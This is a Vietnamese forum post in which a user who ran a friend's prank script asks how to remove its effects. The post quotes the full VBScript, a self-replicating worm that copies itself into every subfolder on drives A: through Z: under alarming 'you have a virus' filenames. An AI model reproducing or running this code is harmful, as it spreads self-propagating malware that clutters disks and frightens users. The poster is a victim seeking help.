dinhnguyen_nhatminh
New Member
hoi cac pro giai dum em! 1 thang ban no choi xau e no viet ban ngon ngu VB nhu sau....'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\ban da dinh virus TINH ! hay tat may ngay.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---ban da dinh virus TINH ! hay tat may ngay.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub.
em kick vao the la tat ca ca o? o dau co forder no tao ra 1 file "
ai co cach nao giai dum em vs nhe"!thanks
kai wan trong la trong o? D va o? E rat nhieu cai windows va` ghost không the het dc! way lai time thi hok co' vi e vua vao! ai giai dum di
Thay đổi nội dung bởi 59cdt4; Hôm nay lúc 11:42. Lý do: Hệ thống nhập bài tự động